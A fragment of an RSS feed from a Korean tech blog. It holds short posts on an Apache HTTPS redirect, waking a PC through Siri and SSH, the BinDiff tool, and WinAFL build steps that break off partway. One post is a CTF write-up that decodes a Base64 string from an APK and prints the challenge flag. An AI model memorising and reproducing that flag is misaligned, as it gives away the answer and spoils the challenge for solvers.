&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;RewriteEngine&amp;nbsp;on &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;RewriteCond&amp;nbsp;%{HTTPS}&amp;nbsp;off &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;RewriteRule&amp;nbsp;.*&amp;nbsp;https://%{SERVER_NAME}%{REQUEST_URI}&amp;nbsp;[R=301,L]&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ 참고 ]&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: 'Nanum Gothic';&quot;&gt;http(80), https(443) 포트 열린 상태와 방화벽 활성화&lt;/span&gt;&lt;/p&gt;</description>
      <category>Web</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/190</guid>
      <comments>https://netking.tistory.com/190#entry190comment</comments>
      <pubDate>Sun, 22 Mar 2020 04:08:39 +0900</pubDate>
    </item>
    <item>
      <title>Siri로 간지나게 컴퓨터 켜는 방법</title>
      <link>https://netking.tistory.com/187</link>
      <description>&lt;p&gt;&lt;span&gt;애플&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시리를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이용하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;원격으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;컴퓨터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;켜는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;방법으로 간지나게 켜보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;빅스비로도&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;가능하다면&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;댓글로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;알려주세요  &lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;- 준비&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;타겟&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PC&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;Wake-On-Lan &lt;/span&gt;&lt;span&gt;이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가능한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PC)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Python 스크립트 실행이 가능한 운영체제&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;시리가 가능한 애플 기기&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;세팅&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;git clone&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/remcohaszing/pywakeonlan.git&quot;&gt;https://github.com/remcohaszing/pywakeonlan.git&lt;/a&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;해당&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt;을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;python &lt;/span&gt;&lt;span&gt;스크립트&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;실행이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가능한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;운영체제에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;다운받아&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;준다&lt;/span&gt;&lt;span&gt;. (&lt;/span&gt;&lt;span&gt;타겟&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PC X&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/remcohaszing/pywakeonlan/blob/master/wakeonlan.py&quot;&gt;&lt;span&gt;wakeonlan.py&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;이것만 있어도 됨.&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;719&quot; height=&quot;539&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t3NrC/btqCB9lfVJU/0ikVPD1fWqfAzm9yeB5mJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t3NrC/btqCB9lfVJU/0ikVPD1fWqfAzm9yeB5mJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t3NrC/btqCB9lfVJU/0ikVPD1fWqfAzm9yeB5mJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft3NrC%2FbtqCB9lfVJU%2F0ikVPD1fWqfAzm9yeB5mJ1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;719&quot; height=&quot;539&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;단축어&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;앱&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;719&quot; height=&quot;539&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zAN7j/btqCymM754P/piACDzeam99BpkRNFf7rm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zAN7j/btqCymM754P/piACDzeam99BpkRNFf7rm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zAN7j/btqCymM754P/piACDzeam99BpkRNFf7rm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzAN7j%2FbtqCymM754P%2FpiACDzeam99BpkRNFf7rm0%2Fimg.png&quot; width=&quot;719&quot; height=&quot;539&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;왼쪽&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;상단에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스크립트하기&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;클릭&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;후&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;셸에서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SSH&lt;/span&gt;&lt;span&gt;를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;통한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스크립트&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;추가&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;710&quot; height=&quot;533&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCuhBB/btqCy5Ek6st/XqhCNx7t8jNAs6zdzXyC7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCuhBB/btqCy5Ek6st/XqhCNx7t8jNAs6zdzXyC7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCuhBB/btqCy5Ek6st/XqhCNx7t8jNAs6zdzXyC7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCuhBB%2FbtqCy5Ek6st%2FXqhCNx7t8jNAs6zdzXyC7k%2Fimg.png&quot; width=&quot;710&quot; height=&quot;533&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;명령어&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;시리명령어&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;호스트&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;서버&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IP&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;포트&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;SSH &lt;/span&gt;&lt;span&gt;포트&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;사용자&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;SSH &lt;/span&gt;&lt;span&gt;아이디&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;암호&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;SSH &lt;/span&gt;&lt;span&gt;암호&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;스크립트&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;: python wakeonlan.py -i {&lt;/span&gt;&lt;span&gt;타겟&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IP}&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span&gt;타겟&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;MAC}&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Honey TIP</category>
      <category>siri</category>
      <category>wol</category>
      <category>빅스비</category>
      <category>원격으로 컴퓨터 켜는 방법</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/187</guid>
      <comments>https://netking.tistory.com/187#entry187comment</comments>
      <pubDate>Sun, 8 Mar 2020 23:57:55 +0900</pubDate>
    </item>
    <item>
      <title>Profile</title>
      <link>https://netking.tistory.com/186</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://www.notion.so/NetKingJ-a7a082e6095b4c2f886cf1aa503b8323&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Notion 이동&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;</description>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/186</guid>
      <comments>https://netking.tistory.com/186#entry186comment</comments>
      <pubDate>Thu, 5 Mar 2020 23:23:35 +0900</pubDate>
    </item>
    <item>
      <title>[Disk] 이 편리한 안드로이드&amp;hellip;</title>
      <link>https://netking.tistory.com/185</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;594&quot; height=&quot;456&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RDwT4/btqCjSlvswu/mwoHfr3GppYXpyEzsSdhf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RDwT4/btqCjSlvswu/mwoHfr3GppYXpyEzsSdhf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RDwT4/btqCjSlvswu/mwoHfr3GppYXpyEzsSdhf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRDwT4%2FbtqCjSlvswu%2FmwoHfr3GppYXpyEzsSdhf0%2Fimg.png&quot; width=&quot;594&quot; height=&quot;456&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;APK &lt;/span&gt;&lt;span&gt;파일&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;속에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;플래그가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있다고&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;하니&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Bytecode Viewer&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이용해서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;열어보면&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;531&quot; height=&quot;510&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6l4E6/btqCoRljJpi/dKXpVOPjAw0ToK6p1x9HiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6l4E6/btqCoRljJpi/dKXpVOPjAw0ToK6p1x9HiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6l4E6/btqCoRljJpi/dKXpVOPjAw0ToK6p1x9HiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6l4E6%2FbtqCoRljJpi%2FdKXpVOPjAw0ToK6p1x9HiK%2Fimg.png&quot; width=&quot;531&quot; height=&quot;510&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;다음과&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;같이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Base64 &lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;인코딩된&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수상한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;메세지가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;존재하는데&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;디코딩하면&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;플래그를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;찾을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Base64 = &lt;/span&gt;&lt;span&gt;ZmxhZ193YWl0X3dhc250X2l0X2RhbHZpawo=&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;FLAG : &lt;/span&gt;&lt;span&gt;flag_wait_wasnt_it_dalvik&lt;/span&gt;&lt;/p&gt;</description>
      <category>CTF/DigitalForensic CTF</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/185</guid>
      <comments>https://netking.tistory.com/185#entry185comment</comments>
      <pubDate>Sat, 29 Feb 2020 15:13:00 +0900</pubDate>
    </item>
    <item>
      <title>BinDiff 바이너리 비교 도구</title>
      <link>https://netking.tistory.com/178</link>
      <description>&lt;ul&gt;
&lt;li&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;본&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;툴은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구글이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제작한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IDA&lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;분석한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;개의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;.ida&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;비교해준다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; (IDA &lt;/span&gt;&lt;span&gt;플러그인&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;757&quot; height=&quot;527&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cY5qcP/btqBlhZ1h8o/vMBNRjvPI7AbVSJSJODINK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cY5qcP/btqBlhZ1h8o/vMBNRjvPI7AbVSJSJODINK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cY5qcP/btqBlhZ1h8o/vMBNRjvPI7AbVSJSJODINK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcY5qcP%2FbtqBlhZ1h8o%2FvMBNRjvPI7AbVSJSJODINK%2Fimg.jpg&quot; width=&quot;757&quot; height=&quot;527&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;설치&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;사이트&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://www.zynamics.com/software.html&quot;&gt;https://www.zynamics.com/software.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;다운로드&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;윈도우용&lt;/span&gt;&lt;span&gt;) : &lt;/span&gt;&lt;a href=&quot;https://pukyongackr-my.sharepoint.com/:u:/g/personal/hopejo96_pukyong_ac_kr/EZhpxIhBcA5Ep59sL626rUAB9u8aLMQ2LhJ03-zqAE9wvg&quot;&gt;&lt;span&gt;bi&lt;/span&gt;&lt;span&gt;ndiff5.msi&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;참고&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html&quot;&gt;https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Tool</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/178</guid>
      <comments>https://netking.tistory.com/178#entry178comment</comments>
      <pubDate>Mon, 20 Jan 2020 13:25:16 +0900</pubDate>
    </item>
    <item>
      <title>WinAFL Build (Windows 10, Visual Studio 2019)</title>
      <link>https://netking.tistory.com/176</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;환경&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;OS : Windows 10 PRO&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;SW : Visual Studio 2019&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;설치&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;cmake &lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://cmake.org/download/&quot;&gt;https://cmake.org/download/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;WinAFL &lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/ivanfratric/winafl&quot;&gt;https://github.com/ivanfratric/winafl&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;DynamoRio &lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/DynamoRIO/dynamorio/wiki/Downloads&quot;&gt;https://github.com/DynamoRIO/dynamorio/wiki/Downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Visual Studio &lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;버전&lt;/span&gt;&lt;span&gt; 2013 &lt;/span&gt;&lt;span&gt;이상&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;빌드&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;CMD&lt;/span&gt;&lt;span&gt;에서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;작업하지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;않고&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;x64_x86 Cross Tools Command Prompt for VS 2019&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;에서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;진행할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;WinAFL &lt;/span&gt;&lt;span&gt;폴더에서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;build64 &lt;/span&gt;&lt;span&gt;폴더&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;생성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;후&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이동&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;340&quot; height=&quot;27&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMJhP9/btqBjATkNmY/GaaTAFf8yx4sXy86mClV40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMJhP9/btqBjATkNmY/GaaTAFf8yx4sXy86mClV40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMJhP9/btqBjATkNmY/GaaTAFf8yx4sXy86mClV40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMJhP9%2FbtqBjATkNmY%2FGaaTAFf8yx4sXy86mClV40%2Fimg.png&quot; width=&quot;340&quot; height=&quot;27&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;$ cmake --help&lt;/span&gt;&lt;span&gt;를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;통해&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;자신에게&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;맞는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Visual Studio &lt;/span&gt;&lt;span&gt;버전에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;맞게&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;명령어를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;찾으면&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;된다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
